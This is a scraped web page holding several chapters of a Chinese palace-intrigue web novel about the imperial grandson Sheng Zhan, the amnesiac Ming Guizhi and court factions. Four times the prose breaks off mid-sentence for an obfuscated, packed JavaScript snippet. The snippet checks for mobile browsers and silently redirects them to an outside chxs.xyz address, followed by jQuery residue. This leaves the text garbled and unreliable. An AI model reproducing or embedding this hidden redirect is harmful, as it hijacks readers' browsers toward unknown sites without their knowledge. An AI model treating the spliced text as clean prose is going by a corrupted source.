35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918043|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不记得。” 赵斐的深幽黑眸闪过复杂光芒，直视着一脸坦然的“他”。 ——“只有他一人，能从这一连串的事里受益。” …… 戌时，勤政殿。 烛火在莲花盏中摇曳。 老皇帝盛绯的倒影被拖成一片泼墨，泼在蟠龙纹毯毡上，如像被陈年的血渍晕开。 枯瘦的手指敲过一叠奏折，骨节凸起处泛着蜡黄光泽。 似十足铜器被香火熏出的包浆。 “苏州织造局的账本，你读过了？” 被问话的人，是新近封为寿王的皇孙盛湛。 亲王赤金螭纽在他腰间烙出暗红的痕，像团未凝结的胭脂膏子。 历朝历代只有皇子能封王。 皇孙为亲王，古往今来头一遭。 破了格，便错了辈分。 那些与他同辈的皇孙们，如今都要对着他腰间的四爪蛟纹低头。 这本不合规，却也是无上尊荣。 尚衣监连夜改制的朝服，金线绣的海水江崖纹盖不住素色中衣的毛边，活似在褪色的孝布上缝了张金箔面具。 老太监们捧着圣旨时手都在抖，仿佛托着块烧红的烙铁，烫得祖宗家法滋滋作响。 盛湛垂手立在绿釉陶朱雀九支灯下。 玄色袍角缀着的金丝滚边在光晕里忽明忽暗，恍若蛰伏的蛇鳞。 他睫毛垂落时，在眼下投出两弯暗色的弧，隐若似熬夜苦读的鸦青。 ——“回皇祖父，孙儿已命人抄录三份。” 声音像浸过冰水的玉磬，清凌凌叩在满殿楠木梁柱间。 “单是去年进贡的云锦一项，便有三千匹对不上数。” “好！” 老皇帝显然满意：“平身吧。” 盛湛抬起眼时，烛火恰好舔亮他左颊那道浅疤——三年前，围猎时老皇帝遇弑，只有他奋不顾身救驾。 这是被刺客划破的旧伤。 有功劳，亦有苦劳。 如今像白瓷盏沿磕出的细璺，衬得他嘴角笑意愈发温润。 老皇帝突然剧烈咳嗽起来，喉间喘动声碾碎满室寂静。 像撕扯一匹存放多年的杭绸。 盛湛疾步上前要搀，被老皇帝的镶金龙头杖抵住胸口。 那杖头金龙雕的睚眦双目赤红，獠牙正抵着他心口蛟纹刺绣。 金丝线在幽光里泛着毒蜘蛛腹部似的油亮。 “你舅舅教得你很好。” 老皇帝一边咳，一边喘，一边道。 “皇祖父……” 盛赞知趣后退。 殿角更漏滴落第三枚铜珠时，盛湛眉角恰到好处颤了颤。 烛火将他的影子揉碎了投在老皇帝榻前。 像一团温驯的黑猫偎在脚边。 他抬眼时眸中浮着层薄薄的水光，连眼尾那点淡红，都像是被冬夜寒风刮出来的。 “您也曾亲自教过我。” “哦？” “孙儿六岁那年，您教导父王‘事必躬亲’，孙儿也受教了。” 老皇帝咳着笑了笑：“明世礼也教你阿谀奉承？” 烛芯突然爆出朵灯花。 盛湛的睫毛在青白面皮上颤一下，像瓷器裂前几不可闻的叹息。 他食指暗暗在袖笼里微微蜷起，恰似被火舌舔了须子的壁虎，转眼又舒展成恭谨的弧度。 “舅舅只教孙儿‘君父如天’。” 盛湛唇畔浮起恰到好处的弧度。 殿外微寒的春雨撇进，如密密银针扎他脊背，却全只化作喉间一声轻咳：“倒是皇祖父赐的《帝范》十二篇，孙儿这些年总捧读至夤夜。" “呵，那他真教得你不错。” 老皇帝的眼风扫过来，在盛湛皮肉间游走。 那双蒙着灰翳的眼珠骤然泛起鹰隼般的精光，差点将少年蛟袍下的心肺扎出蜂窝。 ——“你且说说，如何安排？” …… 13. 白玉珊瑚 鎏金的狻猊香炉悠悠吐出一缕青烟。 沉香、鹿衔草，还有南海龙涎香。 冷冽又腥甜。 盛湛的眼珠像浸在冰水里的琉璃珠，澄澈得能照见殿外老柳抽的新芽。 “孙儿愚见，可让方卯协查江南织造局。” “嗯？” 搭在龙头杖上的枯指顿了顿。 “孙儿以为，不能让户部借此事独大。方卯力主新法，正好协助郭岘制衡古长青。” “呵，呵呵。” 老皇帝忽地冷笑。 盛湛心头一颤，连忙跪地垂首。 他额发扫过青砖时，老皇帝龙袍下摆的十二章纹正映入他眼里。 金线绣的升龙张着爪，仿佛要将他的冷汗都攥成盐粒。 蛟比龙到底少了一爪。 是他道行未够。 “朕不记得《帝范》有教人虚与委蛇。” 老皇帝这话说得很轻，似是喃喃自语。 落在盛湛耳里，却每个字都带着血腥味。 “孙儿罪该万死！” 盛湛额头撞碎乌金砖上的身影，羊脂玉佩磕在砖缝间铮铮作响。 砰砰的磕头声持续了足足一刻钟。 每记都在金雕龙柱间撞出回音 直到香灰烧得坍落，老皇帝的龙头杖才顿了顿地。 血痕已蜿蜒成赤链蛇。 盛湛前额绽开的皮肉黏着尘屑，血珠顺鼻梁滑到唇缝，被他抿成朵将绽未绽的红山茶。 老皇帝的龙头杖挑起他下颌，龙头的獠牙正好卡在他喉结凹槽。 “藏着掖着是下位者的做派，” 老皇帝嗤笑一声：“你不透露想法，怎么拉拢盟友？” “孙儿……” 盛湛的瞳孔骤然收缩，如骤遇强光的夜枭。 下位者做派…… 他喉咙一滚，喉结在龙牙间碾出咯吱轻响。 “澈之，把你的爪亮出来。” 老皇帝看他开窍，终于满意：“藏着掖着的狼崽子，只配当看门狗。” “孙儿想借方卯的刀。” 盛湛抬眼，眸色里尽是毫不掩饰的凌厉。 老皇帝白眉一扬，露出赏识：“杀谁？” “郭岘。” …… 寅时三刻。 东边微微晨曦碾碎最后一粒残星。 盛湛的靴印早已从殿前的丹墀上散去。 勤政殿内，狻猊香炉的余烬一颤，惊醒了伏在龙椅扶手上的老皇帝。 “余保善。” 老太监应声拂开鲛绡帐，托着珐琅痰盂来到龙椅畔。 “传太医，” 老皇帝摩挲着半个虎符，恹恹道：“朕睡不着。” 余保善不经意瞥过那枚虎符。 这不是如今的款制。 虎身还刻着螭纹。 纹理间的错金丝早成了青灰色。 今朝的亲王都没有兵权。 那是已故懿仁太子的虎符。 老皇帝瞥他一眼。 余保善慌忙低头，惊出一声冷汗。 静默良久，老皇帝忽道：“朕……想念太子了。” 他喉咙里滚着痰鸣，指甲紧紧掐住虎符缺口。 那缺口像二十年前被他撕掉的太子谏书，折痕处还留着暗红印泥。 余保善不敢接话。 老皇帝掐着虎符的指节泛出青玉色。 他长长叹息：“若他有他儿子三分狠辣，也不至于……” 铜壶滴漏的水珠悬在寅卯之交。 殿外忽有不识趣的伯劳鸟掠过琉璃瓦，惊得九重帘幕微微颤。 …… 雨渐渐重了。 一根根在风里斜斜飘。 官船檐角的铜铃吞下半截雨声。 明桂枝倚着玉兰花样的槛窗，剥着瓜子。 ——“寿王的亲母是我父亲的庶妹……那我该唤他——表哥？” 古代人亲戚多，而且又嫡又庶的。 她捋了好一阵才弄清。 “嗯。” 赵斐轻轻点头。 “也不全对，”方靖用银错金小刀撬开榛子，一下抛进口中：“寿王的生母只是太子良娣——人家正经八百的娘是太子妃文氏，按礼数，只有文家的表弟才能唤他表哥。” “哦，这个我懂，” 明桂枝一下领悟，脱口说：“就像《红楼梦》里，探春只认王子腾作舅舅！” “什么舅舅？” 方靖一脸惑然，又侧首看向赵斐：“王子腾是谁？” 赵斐摇了摇头，掀开竹帘。 船正顺风行驶，窗楹把运河两岸的烟柳都割成零碎绉纱。 “是我以前读过的话本。” 明桂枝解释道：“故事里有个庶出的女子，只认正房太太的亲哥作舅舅。” “这才像话！规矩就是规矩。” 方靖掸了掸粘到府绸上的果壳碎屑：“你这失魂症也是怪，连寿王都不记得，偏偏净记得些乱七八糟的话本。” 赵斐原本望着窗外的雨打芦花，闻言顿皱眉，回首对方靖道：“仲安兄，失魂症的事切记不要外传。” 他食指重重叩在窗沿，震得方靖茶盏里浮着的两片碧螺春都沉了底 “省得的，省得的。” 方靖悻悻点头。 明桂枝问赵斐：“那我和他熟悉吗？” “应该是。” “应该？” 赵斐叹了口气：“我之前和你不熟。” “哦，对。” 明桂枝眉头紧了又舒，舒了又紧：“那你何以判断我和寿王‘应该’熟悉？” “三年前圣上遇弑，寿王因救驾受伤，”赵斐端起茶盏往嘴里送，神情忽地黯淡：“而你因为救寿王而受伤。” 当时，他父亲愤愤不平了好多天。 巴掌声又响在赵斐的耳边。 ——“你脑子用木头做的？傻子一样！但凡你扑过去挡半寸，那‘救驾功臣’牌匾就能放咱家祠堂！” 真好笑。 当时圣上在西围场，他与父亲都在营帐里，他怎么去“挡半寸”？ “合着我是拿命换的交情？”明桂枝捏碎的瓜子壳簌簌落在《景州漕运志》的封皮上：“我左臂上的疤是拜他所赐？” “我不知道你何处有疤。” 赵斐冷冷道。 “那我爹失踪的事，他如何能受益？” 明桂枝愈发茫然。 赵斐唇边掠过一声叹息，惊得茶汤里的倒映都抖了抖。 他有种和蠢人交谈才有的烦躁。 不该如此的。 他与“他”有过聪明人之间心有灵犀的畅意。 赵斐忍不住想——若“他”不曾失忆，何须多言？ 两人大概一个眼神就明了。 但赵斐最后还是耐着性子，为“他”揉开、掰碎来说。 他垂目拨弄着青瓷碟里的坚果，挑出一颗大又亮的榛子，放到茶案正中：“明公之重，岂止在犀甲金印？” 又捏来一颗花生：“赵家。” 一颗栗子：“户部。” 还有一颗核桃：“银税法背后的新政派。” “全靠我父亲来制衡？” 明桂枝心领神会。 赵斐赞许颔首，将榛子推到“他”面前：“明将军失踪后，本该你顶上。” 话音未落，窗外惊雷碾过，震得白瓷果盘里几颗花生晃晃荡荡。 “原来如此，”明桂枝的冷笑混着刺进来雨声，格外凄清：“所以就有人参他一本，诬陷他通敌卖国！” 茶炉火星“噼啪”炸开，映得赵斐眼底忽明忽暗。 “如今明将军蒙冤，你自当受牵连，这制衡的差事……” 他抬眸望向窗外雨幕。 雨丝顺着竹帘往下淌，就像讽刺明家屋漏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918044|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兼逢连夜雨一般。 明桂枝心下澄明：“只能落在与明家有亲、又贵为皇孙的寿王肩上。” 她沉吟片刻，摇头道：“但是他没有动机。” “嗯？” “如果我父亲没出事，他还能有个掌兵的舅舅。” “确实。” 赵斐眉目渐舒展，顿觉铜炉炭火比往日灼亮三分，指尖下意识沿着茶盏口画了个圈。 他有点后悔没有早点和“他”熟络。 “他”对《白虎通义》会不会有和自己一样的见解？ 假如他们一起讨论《平准书》，会不会有更多有趣的看法？ 窗外的雨也没有似乎那么恼人了—— 如果，他是说如果…… 他和“他”那时也恰逢下雨天，“他”会作怎样的诗？ 方靖剥开一颗花生，一边吃一边问道：“你昏迷醒来的时候，附近有没有什么可能是凶手的物件？” “是有一件，” 明桂枝从香囊里掏出一截白玉，摊到手心展示：“我醒来的时候，发现自己把它含在舌底。” 带雨的暮色透过格窗棂斜劈进来。 明桂枝掌心的白玉泛起血丝似的微光。 那物件不过一节手指长，雕着三股虬结的枝桠，倒像被掐断的半截龙爪，又似一小截枝丫。 方靖正想拿起来瞧，忽想起“他”说是含在舌底，手指生生顿住。 “洗过的，我洗过了。” 方靖这才拿在手里，侧过来侧过去看。 半晌，摇着头便递给赵斐。 “会不会是从什么地方掰断的？” 方靖问。 赵斐笃定：“不会，断口很圆润。”——那断口处仿佛裹着层浑圆的包浆，像是被人捻在指尖磋磨过千百个长夜。 “没有洞口，不能穿绳、挂钩，它应该不是首饰。” 明桂枝分析。 “珊瑚？” 赵斐忽道。 明桂枝颔首：“我也觉得像珊瑚。” 三人又胡乱猜测一番，始终毫无头绪。 铜炉里残香折了腰，雨脚渐渐换了鼓点。 撇到铜铃上，叮叮当当砸碎满船寂寥。 方靖悠悠赏雨：“德州驿站的茴香豆煮得极好，不知明日能不能赶到。”话音缠着水汽往梁上爬，在窗沿处凝成霜。 “我更想吃煨芋头。” 明桂枝紧了紧披风，呵着气暖手。 她又问赵斐：“你呢，想吃什么？” “我想写诗。” “啊？” 赵斐的视线从雨幕里抽回时，似恍然从一个梦中醒来。 他问明桂枝：“这样的雨天，你会作怎样的诗。” “我有失魂症，你忘了？” “嗯，是差点忘了。” 他赶忙转过头，不愿“他”窥探自己莫名其妙的失落。 “不过……” “不过什么？” “我有个故事，讲一个女子在这样的滂沱大雨天，去找她抛弃妻女的父亲要银两……” “我没兴趣。” 赵斐说得斩钉截铁。 倒是方靖瞪亮了眼睛：“愿闻其详，愿闻其详！” 在娓娓故事声里，雨珠渐渐缓了些。 铜雀熏炉的孔隙溢出最后一丝沉香，与雨雾缠成解不开的连环套。 …… 寿王府。 东苑的书房里，经史子集、百家言论，县志、还有大量的兵书。 一堆一堆，一叠一叠，筑成高且厚的墙。 檀木屏风后漏出一缕沉香。 铜雀衔枝熏笼里，灰白香屑缓缓坍缩。 蟹壳青色的窗纱垂到书案前，被暮春的晚风揉出深浅褶皱。 羊脂白玉小鹿立在堆叠如小山丘的奏折旁。 缺角的创口泛着幽光，像一汪始终未凝固的月光。 …… 14.逐鹿 白玉鹿角断口处，盛湛的指尖磨出一道冷腻的汗痕。 “莎——莎、莎—” 窗外忽有簌簌声，他探身的动作比他的思绪还快，回过神之际，人已经贴身在窗沿旁。 雕海棠花纹窗棂的阴影斜斜切过盛湛眉骨，如戏台上武生掀帘的亮相。 内庭院空荡荡。 太湖石嶙峋影子里，蜷着半枝残柳。 再侧耳细听，那簌簌响动不过是外庭的仆役在帚落叶。 盛湛松一口气。 腕间剑柄的蓝宝石硌得掌心发潮，他忍不住讪讪笑了。 十一年前，前国舅文聿鳞怂恿晋王盛绚造反，发动政变。 皇帝震怒，血洗朝堂。 盛湛的父亲——太子盛瑜是先皇后文氏所出，太子妃文氏是文聿鳞嫡女，如何能辩白？ 一夜间，他父亲、嫡母和生母均血溅天牢。 就在盛湛被人带进刑房之际，明世礼黑衣蒙面到来，趁禁军换防，偷偷带走他。 明府地窖深藏在假山下，石砖缝里嵌着郁郁青苔，三丈玄铁链锁住暗门。 此后三年，少年再未见天日。 长长短短的扫帚声，是他与明桂枝约好的暗语。 三长一短是安全，可以在气孔窥看。 两急三缓是小心，皇帝的鹰犬在角门窥探。 一长二短是危险，快快从地道逃走！ 有一回，他饮了治风寒的药汤，错过了明桂枝的“一长二短”。 辑事厂的厂卫差一步就找到地牢的把手…… 幸得她及时放了一把火。 回眸之际，他在暗室气孔瞥见她狡黠一笑。 熊熊火光火映着她的眸子，比北辰星还亮三分。 在地窖的第一夜，他缩在暗室角落发抖，忽见菱花砖缝里漏进一缕银光。 是他的小表弟。 不，是小表妹。 她翻下密道，怀里揣着这只莹润玉鹿。 “阿爹说，这是太子殿下的遗物。” 那羊脂玉制的小公鹿，其昂首之势，恰似欲奋蹄奔逐。 刹那间，盛湛喉头猛地一哽：“它应于山林之间畅饮清泉，自在驰骋，何苦困于囚笼之中……” 小表妹望着掌心里的白玉鹿许久，心有感触：“今日夫子讲授《汉书》，书里面说‘秦失其鹿，天下共逐之’……” 她抬眸看向他。 盛湛至今仍记得，那目光里就像有繁星。 她说：“我不明白，鹿明明最温驯和善，平日里只食青草，与世无争，究竟为何引得天下人竞相追逐，不得安宁？” 小表妹硬把他手拉过来，将白玉鹿叩进他的手掌中。 她的眸光仿若能穿透世间的纷繁，直抵人心最柔软处：“我觉得，只有愿意让鹿儿畅饮清泉、山林驰骋的人，才配拥有它。” …… 回忆如潮水般渐退。 外庭院的扫帚声忽地短促起来，大约是碰着太湖石根下的碎瓦。 晨光顺着窗棂漏进他袖管，腕骨上浮起一串青铜钱光斑。 盛湛愣了愣。 猛一回神，玉鹿的角尖戳进指缝，凉得发痛。 …… 城西，古府。 早春的雨丝斜斜扫过檐角，青瓦洇出墨灰色。 回廊转角探出半枝红梅，花瓣上凝着水珠子，像失手抖落的碎琉璃。 茶室建在水榭上，竹帘半卷着，漏进几缕湿漉漉的天光。 湖里，石假山根儿底下漫着薄影。 池里的锦鲤似乎通灵性，见着人手的影儿就聚到水榭底下。 红鳞映碧水，活脱脱打翻胭脂匣。 方卯端起茶盏，是新蒸的桂花香片。 他数着檐角垂下的铜铃铛，数到第五颗时，窗外石径传来碎叶声。 那脚步应该踩惯青苔的，落得又轻又稳。 像老茶客往紫砂壶里注头道水。 门帘掀动时带起一阵凝香御墨的清气。 方卯搁下茶盏的工夫，古长青已立在八仙桌旁。 他袖口沾了几点墨色，想是方才在书房写公文，连官服都未及换下。 “原该备些新焙的龙井待客，”古长青撩袍坐下：“偏不巧，我前日得了个怪病——闻见茶青气就头疼。” 说着他自己先笑起来，眼尾细纹像池边春柳。 古长青的尖下颌上蓄着半寸花须，远看像是蘸秃了的狼毫笔头。 一对寿眉，顺着下垂的眼角往鬓边斜斜扫去，几绺白发在玉簪旁支棱着，像老梅枝上未化尽的霜。 他记得古长青年轻时也是丹凤眼的俊后生，眉目间颇有威仪。 如今皮肉松了，竟然显出三分菩萨相。 方卯垂眼盯着茶汤，舌尖顶住上颚才咽下轻叹。 原以为要枯坐三五刻钟的——枢密院的同僚提醒他，说古大人如今兼着织造局的烫手差事，便是晾着同级官员吃茶，旁人也说不得什么。 可那串脚步声来得太急，倒把他斟酌半日的开场白搅成乱麻。 那半肚子官场话，此刻，全像揣着油纸伞却撞见天放晴。 一下子不知道该接什么了。 案上《数书九章》翻在“钱谷”篇，被时雨润湿丝丝水痕——到底是户部老吏， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919873|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连消遣读物都沾着账册气。 方卯低头抿了口茶，忽然觉得今早特意用桂花香熏了三遍的绸服，显得太刻意了。 窗棂间漏下的光移了半寸，正照在古长青腰间裹青布的牙牌上。 方卯恍然想起，听闻去岁查账时，这位铁面尚书竟为宁夏的失收农户亲自写陈情折子。 茶汤在舌根泛起回甘时，方卯终于松开攥着的袖口——那上面被他捏出的三道褶子，比对方衣襟的旧茶渍更显眼了。 风铃叮当响，惊醒了蜷在藤椅影儿里的狸猫。 方卯喉头滚出两声笑：“说起来，晌午打朱雀街过——” 竹帘筛下的光斑正巧晃在古长青襟前补丁处，那补丁原是去年泼了普洱渍子才缝的。 古长青不接话，只管将滚水绕着建盏边沿画圈。 方卯也不好：“我瞧见一样新出的茶，倒是不知道合不合你心意。” 话尾轻飘飘落在建盏腾起的一缕白烟里。 “半生茶？” “正是！” 方卯不禁莞尔，案头白瓷缸养的青萍跟着晃出涟漪。 檐下风铃转起南风调，叫他想起臻颐茶行门口悬的牌匾…… 那“半生茶”三字泼墨淋漓，活似腊月里竹扫帚扫霜痕，偏生收笔处又带出两分春柳柔。茶博士掀帘时惊起的雀儿，正巧掠过竖匾上“常恨半生多契阔”的“契”字，翅尖扫落经年积尘。 “其实就是苦丁。” 古长青也笑。 “嗯？” “半生茶，就是苦丁茶。” 方卯顿时兴致更浓：“为何唤‘半生茶’？” “因为苦，苦后回甘。” “妙！” 方卯指尖一颤，茶汤泼在酸枝茶台上，倒映出廊前竹帘筛下的碎金。 笑声惊得檐角麻雀扑棱棱掠过池面。 “这苦后回甘——”话音在舌尖滚了半圈，化作一声轻叹。 茶气氤氲。 方卯想起那年春闱放榜，新科进士们的马蹄踏碎国子监的晨雾； 想起从前三伏天里在吏部值房抄录黄册，汗水洇透竹纸上的蝇头小楷； 想起在杭州、泉州时老友捎来的信笺，总在案头堆成雪，总也来不及回。 水榭旁的麻雀忽地噤了声。 方卯的手指无意识地摩挲着微凉的茶盏。 他忽然记起发妻临终前攥着的那串菩提子，一百零八颗念珠在昏黄的烛影里数了又数，终究没能数完整个秋天。 古长青冷不丁一句话，把方卯从走马灯一样的回忆中唤醒—— “方大人，你猜猜是谁写的对联？” 15.青隼 方卯手中的建盏一顿，既惊又喜：“莫不是古大人的墨宝？” “方大人，在下字植之。” “植之，” 方卯笑道：“我字榫卿。” 他指尖无意识摩挲着《数书九章》泛黄的页脚。 被蠹虫啃噬的缺口硌着指腹，恍若触摸到古长青十数载沉浮的沟壑。 古长青是传胪出身，初任钱塘县令即勘破茶引弊案，连升三级。在任上建树颇多，然而永泰十二年，他因漕粮案牵连，在御史台诏狱熬过三载寒暑，平反后正要升迁，又逢母亲病逝，停职守制。 几番起落，当得起“半生契阔”。 方卯思及此，感同身受，便叹息道：“你说咱做父母官的，熬干多少盏桐油灯，在田赋黄册里挑出蛀虫，从漕粮账簿中剔去腐肉......” 他想起臻颐茶行的楹联上，那力透纸背的“万幸回首有余甘”，舌尖泛起桂花香片的清甜：“不过，能得百姓一两句夸赞，也算得苦后回甘。” “榫卿兄猜错了，”古长青笑着拨了拨热茶壶的炭火，火星子噼啪爆开：“那对联，是新科榜眼赵斐的字迹。” “赵斐？” 方卯想起那日客栈晨光融融，赵斐忽然叫住他。 ——“明桂枝的字并非如此。” ——“下官方才挣扎过。” 是个把端方守礼、仁义道德刻进骨血的人呢。 可是，他不认为赵斐会想到为苦丁茶取这样妙趣的名字。 “我却觉得像状元郎的手笔。” 方卯嘬了口茶，笃定道。 “哦？” “明桂枝。” 轮到古长青诧异：“你们相识？” “一面之缘，但印象深刻。” “洗耳恭听。” 铜铫子的水又咕嘟起来，古长青续上热水。 窗沿忽地飘入几点杏花雨。 忙中偷来的闲适，正好用来听听故人的音讯。 …… 申时二刻，康王府。 一场春霖稍歇，芳华苑的梨花白惨惨碎一地。 凉亭四角垂着琉璃灯。 晕黄火光映落在素玉方砖上。 衬得康王盛瑄蟒袍上的金线都发了潮。 “好侄儿，辑事厂的差事落你手里了，这次，咱叔侄正好齐心协力。” 盛瑄倚着缠枝莲纹的锦垫，烛影里浮着张玉盘似的脸。 三十六年华酿出微丰皮肉，仿佛羊脂膏子拿银匙子细细刮过。 连笑纹都熨帖得恰到好处。 偏生他一双眼生得极妙，眼尾斜斜飞进鬓里。 恰似工笔描凤翎。 总在垂眸时漏出三分冷光。 盛湛举杯：“为圣上分忧。” 雨丝顺飞檐滴入酒盏，溅出一圈圈金波。 盛瑄没有碰杯。 他夹起一箸水晶肴肉，脂膏泛着琥珀光，嗤笑道：“旁人不懂，都以为我们天机府、辑事厂吃的山珍海味，御膳佳肴……” 骤然一抬眉，盯着盛湛看：“但其实，顿顿吃河豚肉，一不留神就见血封喉。” 烛火在他眼底跳了跳，笑意凝成刀尖寒芒，直要挑开对面人皮肉下真实情绪。 盛湛抬眸迎上来，眸子清凌凌映着琉璃灯。 照不出半点心事。 “侄儿不过替圣上……还有叔叔们跑腿。御膳佳肴也好，断头饭也罢……” 他仰颈饮尽杯中物。 喉结滚动时左颊的浅浅疤痕也跟着颤。 “你们若叫我吃，我不敢不吃。” 说话间，有梨花瓣落进酒盏，浮在琥珀色酒面上，像只溺死的蝶。 “澈之，”盛瑄举起杯盏，他袖口金蟒对着盛湛吐信：“你这话生分了，六叔叔一定看顾你。” 凝香醴从壶嘴淌出来时，缠着丝热气，十足一条白蛇：“说起来，我与你除了是叔侄，还是姻亲——” 盛湛笑得比春雨还圆融。 斟酒的手稳得像量药的戥子：“我记得，明家舅舅娶的是您表妹。” “嗯，三表妹，殷家最美的人儿。” 盛瑄捧起他斟满的酒盏：“真想不到，明秉则竟这般长情，她过世有十年了吧？都不曾续弦。” “舅舅总说殷家女贤良淑德，”盛湛笑意从唇角漫到眼底：“侄儿也神往，却不知是否有此福气。” “好，好！” 盛瑄与他猛一碰杯：“明日就让你婶婶去打听，我命她亲自替你把关，定叫你娶个宜家宜室的好闺秀。” “侄儿先谢过六叔叔。” 盛湛仰首饮尽，又绽起笑颜，左颊的疤被烛光晕成胭脂色，就像含羞似的。 雨渐大。 斜雨掠过亭角，浇熄了暖炉最后一粒火星，青烟扭成个未写完的咒。 …… 更漏声钻进车帘。 雨点在玄色车篷上泛着灰光。 盛湛指尖正搭在莲花香炉的孔隙间，任龙涎香的雾霭漫过指节。 是久违的香气呢。 若非皇祖父“格外开恩”，他岂能逾制用这香料。 嘴角忍不住泛起讽刺的角度。 辑事厂校尉魏衍膝头搁着鸢羽刀。 刀鞘雕刻的鸢眸忽明忽暗，似是要啄破满车湿漉漉的寂静。 “康王真是好笑，”魏衍攥紧刀穗：“辑事厂向来高天机府一头，何时轮到他指手画脚？” 他肩头的青隼补子被雨水撇成墨色，一双翅困在金线里。 盛湛的疤痕在烛影下泛起珠光，像嵌了颗鲛人泪。 “他辈分高，总要给长辈三分薄面。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14933013|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他浅浅笑着。 这温润如玉的笑，落在魏衍眼里，叫他看出六七分故人之姿。 “辈分高，他能高得过太子？当年太子殿下整顿辑事厂规制时，他康王字都还未认全……” 话音戛然而止——盛湛食指抵在唇畔，凉意渗进未尽的话尾。 “都是为圣上分忧，对吧？” “对，寿王说得是。” 魏衍喉结滚了滚。 车帘被风吹开缝隙，他似乎瞥见天机府的褐色苍狼氅。 冷汗瞬间顺着脊沟滑进犀带。 ——如今辑事厂刚易主，指不定圣上会派天机府的人盯梢。 魏衍心道：幸好寿王心思比他慎密。 盛湛穿的也是青隼服，金线在锦鼠灰的缎子上烧出冷焰。 他抚了抚领口绣的隼首，那利喙正对着咽喉，像诡谲的隐喻。 窗外的雨色凄凄掠过。 盛湛有种无可无不可的寂寥。 辑事厂的青隼，天机府的苍狼，看着何其威猛。 都是老皇帝的鹰犬爪牙罢了。 …… 德州，运河码头。 灰麻石道还渗着薄薄湿气。 驿丞梁佑安抹了把额角的汗，驼色官衣让雾气润成深褐色。 “诸位大人，用茶，请先用茶，稍安勿躁。” 梁佑安推过粗瓷茶盏，眼神不停往码头那边飘。 明桂枝顺着他目光看去，码头边一行人在排队换米。 三十来个百姓挨着青石驳岸排成歪斜的线，铜器碰在船钉上的叮当声比檐角铁马更清脆。 穿蓑衣的老汉把铜烛台往袖口蹭了又蹭。 粮铺伙计立在油布伞下，秤杆上的铜星子蒙着水雾。 穿夹袄的老妇解下耳坠子——那是两枚黄铜的石榴，蒂头还缠着褪色的红丝线。 伙计眼皮也不抬，抓过石榴坠往笸箩里一丢，米粒顺着斜斗淌进老妇的粗布袋，簌簌声如流沙。 队伍里忽起骚动。 抱铜壶的后生踩了泥浆踉跄，壶嘴撞在石栏上迸出个豁口。 米袋已空的粮车吱呀呀调头，车辕溅起的水花里浮着半片黄铜角花——许是谁家祠堂门上的旧物。 方靖在檐下翻他那本札记，喃喃道：“上月临清县一斗米六十文，” 又细细记录：“四月十四，德州一斗米八十三文……” 赵斐抿过茶，粗瓷盏不轻不重地一搁。 梁佑安的络腮胡颤了颤：“大人们有所不知……” 话头倏尔折住。 窗外传来铜器相击声，那几个粮铺伙计正往粮车里面堆铜锅铜勺。 明桂枝转着梨木折扇，杏眼里汪出三分笑：“既然我们不知，那便劳烦梁驿丞说道说道。” …… 16.千斤石 德州县衙。 青砖墙角几枝野杏花沐在雨中，比往日精神些。 驿丞梁佑安领着三位客官往县衙去。 他一脸愁容，络腮胡子上凝着细碎雨珠，如老桑树挂霜。 当值衙役原本倚着鼓打盹，忽见几道绸缎袍角扫过门槛，惊得把水火棍一戳。 知县陈敬儒听过主簿禀报，正了衣衫在二堂候着。 他润了润喉，先开的口：“诸位，德州户籍钱粮俱记在四柱清册上，下官没必要藏着掖着。” 眼见来人中那国字脸的中年要回应，陈敬儒一对八字眉霎时拧成墨斗线：“只是，贵司官船挂的杭州帆，凭什么来问鲁地米价？” 他又哼了一声：“今日下官与诸位说三两句，明日扬州的、苏州的大人便能来问三五七句，过不了几天，怕是连大理寺、都察院的大人们都要来问话。本官这顶乌纱帽，干脆挂在县衙梁上当斗笠使算了。” 紫衫“少年”丝毫不恼，反而笑得和煦：“陈大人，我此去主理杭州市舶司，总要把沿河州县粮价记入章程。斗胆问德州米价，也不过是在‘市舶则例’后头添个注脚……” 案上茶汤腾起雾，笼着“他”袖口暗银云纹，似晴湖上起了薄烟。 